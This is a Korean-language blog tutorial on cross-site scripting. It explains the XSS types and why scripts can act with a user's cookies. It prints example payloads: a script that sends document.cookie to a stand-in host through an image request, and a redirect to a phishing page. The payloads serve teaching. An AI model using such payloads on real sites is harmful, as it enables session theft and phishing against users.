XSS(Cross Site Scripting)는 클라이언트 사이드 취약점의 대표적인 공격으로
웹 페이지의 이용자를 대상으로 공격할 수 있는 취약점이다.
CSS로 쓰는것이 맞지만 스타일시트 언어인 CSS와의 중복때문에 혼동이 올 수 있어서 XSS로 사용한다
XSS 공격
XSS 공격은 이용자가 삽입한 내용을 출력하는 기능에서 발생한다
예를 들면 로그인, 회원가입 하면 "ㅇㅇㅇ님 환영합니다"를 출력하는 상황.
Stored XSS | XSS에 사용되는 악성 스크립트가 서버에 저장되고 서버의 응답에 담겨오는 XSS |
Reflected XSS | XSS에 사용되는 악성 스크립트가 URL에 사용되고 서버의 응답에 담겨오는 XSS |
DOM-based XSS | XSS에 사용되는 악성 스크립트가 URL Fragment에 삽입되는 XSS (Fragment는 서버 요청/응답 에 포함x |
Universal XSS | 클라이언트의 브라우저 or 브라우저의 플로그인에서 발생하는 취약점으로 SOP정챡을 우회하는 XSS |
자바스크립트는 웹에서 버튼 클릭 시에 어떤 이벤트를 발생시킬지와 데이터 입력 시 해당 데이터를 전송하는 이벤트를 구현할 수 있고, 기능 외에도 사용자와의 상호 작용 없이 이용자의 권한으로 정보를 조회하거나 변경 등의 행위가 가능하다.
( 이용자를 식별하기 위한 세션 및 쿠키가 웹 브라우저에 저장되어 있기 때문)
XSS 공격 코드
<!DOCTYPE html>
<html>
<head>
<title>XSS Example</title>
</head>
<body>
<h1>XSS Example</h1>
<script>
// 경고창을 띄워 XSS가 작동하는지 확인
alert("Hello, this is an XSS example.");
// 현재 페이지의 쿠키를 alert로 표시
alert("Current cookies: " + document.cookie);
// 쿠키를 설정하는 부분 (예시이며 실제 데이터는 아님)
document.cookie = "example=test;";
new Image().src = "http://example.com?cookie=" + encodeURIComponent(document.cookie);
</script>
</body>
</html>
쿠키 및 세션 탈취 공격 코드
- 경고창 출력: alert("Hello, this is an XSS example."); - XSS 공격이 실행되는지 확인하기 위한 경고창
- 쿠키 표시: alert("Current cookies: " + document.cookie); - 현재 페이지의 쿠키 값을 알림으로 표시
- 쿠키 설정: document.cookie = "example=test;"; - 쿠키를 설정하는 예시
- 쿠키 전송: new Image().src = "http://example.com?cookie=" + encodeURIComponent(document.cookie); - 쿠키를 다른 서버로 전송하는 방법을 보여주는 부분이고. http://example.com은 실제 URL이 아님. 실제로는 동작X
<script>
location.href = "http://example.com/phishing";
window.open("http://example.com/");
</script>
위치이동
사용자가 페이지를 로드하면 새로운 브라우저 창 또는 탭에서 http://example.com/이 열리게 된다.
보통 피싱 공격 등으로 사용됨.
'해킹&보안 > 웹 & 앱' 카테고리의 다른 글
SQL Injection (0) | 2024.08.02 |
---|---|
OWASP TOP 10 (0) | 2024.07.31 |
쿠키&세션 (0) | 2024.07.30 |
취약점 (vulnerability) (0) | 2024.05.27 |
웹 애플리케이션 모의해킹 (0) | 2024.05.15 |